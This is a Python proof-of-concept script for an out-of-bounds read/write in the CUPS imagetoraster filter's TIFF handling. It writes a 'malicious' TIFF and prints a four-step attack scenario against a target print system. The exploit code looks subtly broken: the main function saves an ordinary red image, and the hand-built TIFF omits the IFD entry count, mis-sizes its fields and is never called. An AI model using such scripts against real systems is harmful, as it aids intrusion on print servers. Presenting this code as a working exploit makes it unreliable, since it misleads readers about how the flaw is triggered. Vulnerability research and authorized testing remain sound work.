#!/usr/bin/env python3
"""
CVE-2025-57812 PoC - CUPS imagetoraster TIFF OOB Read/Write
Note: This is a conceptual PoC for educational purposes only.
"""
from PIL import Image
import struct
import os
def create_malicious_tiff(output_path):
"""
Create a malicious TIFF file that triggers the OOB vulnerability.
The vulnerability occurs when:
1. Image has specific dimensions
2. Bytes per pixel value can be controlled via print options
3. The filter processes pixels with size = pixels * 3 instead of pixels * bytes_per_pixel
"""
# Create a simple TIFF image
width, height = 100, 100
img = Image.new('RGB', (width, height), color='red')
img.save(output_path, format='TIFF')
print(f"[+] Created TIFF file: {output_path}")
print(f"[+] Image dimensions: {width}x{height}")
print("[*] To trigger vulnerability, print this file with options that set bytes-per-pixel=1")
return output_path
def create_exploit_tiff_manual(output_path):
"""
Manual TIFF construction for more control over exploit parameters.
"""
# TIFF header
tiff_header = b'II' # Little-endian
tiff_header += struct.pack('<H', 42) # TIFF magic number
tiff_header += struct.pack('<I', 8) # Offset to first IFD
# IFD entries
# ImageWidth
ifd = struct.pack('<HHII', 256, 3, 1, 100) # SHORT, count=1, value=100
# ImageLength
ifd += struct.pack('<HHII', 257, 3, 1, 100) # SHORT, count=1, value=100
# BitsPerSample
ifd += struct.pack('<HHII', 258, 3, 1, 8) # SHORT, count=1, value=8
# Compression
ifd += struct.pack('<HHII', 259, 3, 1, 1) # SHORT, no compression
# PhotometricInterpretation
ifd += struct.pack('<HHII', 262, 3, 1, 2) # SHORT, RGB
# StripOffsets
ifd += struct.pack('<HHII', 273, 4, 1, 8 + 26) # LONG
# SamplesPerPixel
ifd += struct.pack('<HHII', 277, 3, 1, 3) # SHORT, 3 for RGB
# RowsPerStrip
ifd += struct.pack('<HHII', 278, 3, 1, 100) # SHORT
# StripByteCounts
ifd += struct.pack('<HHII', 279, 4, 1, 100 * 100 * 3) # LONG
# IFD ending
ifd += struct.pack('<I', 0) # Next IFD offset
# Image data (malformed to trigger OOB)
image_data = b'\x41' * (100 * 100 * 3)
with open(output_path, 'wb') as f:
f.write(tiff_header + ifd + image_data)
print(f"[+] Created exploit TIFF: {output_path}")
if __name__ == '__main__':
print("=" * 60)
print("CVE-2025-57812 PoC - CUPS imagetoraster OOB Vulnerability")
print("=" * 60)
output_file = "malicious_cups.tif"
create_malicious_tiff(output_file)
print("\n[*] Attack scenario:")
print("1. Upload the malicious TIFF to target system")
print("2. Submit print job with options to set output format")
print("3. CUPS imagetoraster filter processes the file")
print("4. OOB read/write occurs due to buffer size mismatch")
print("\n[!] Use only in authorized testing environments")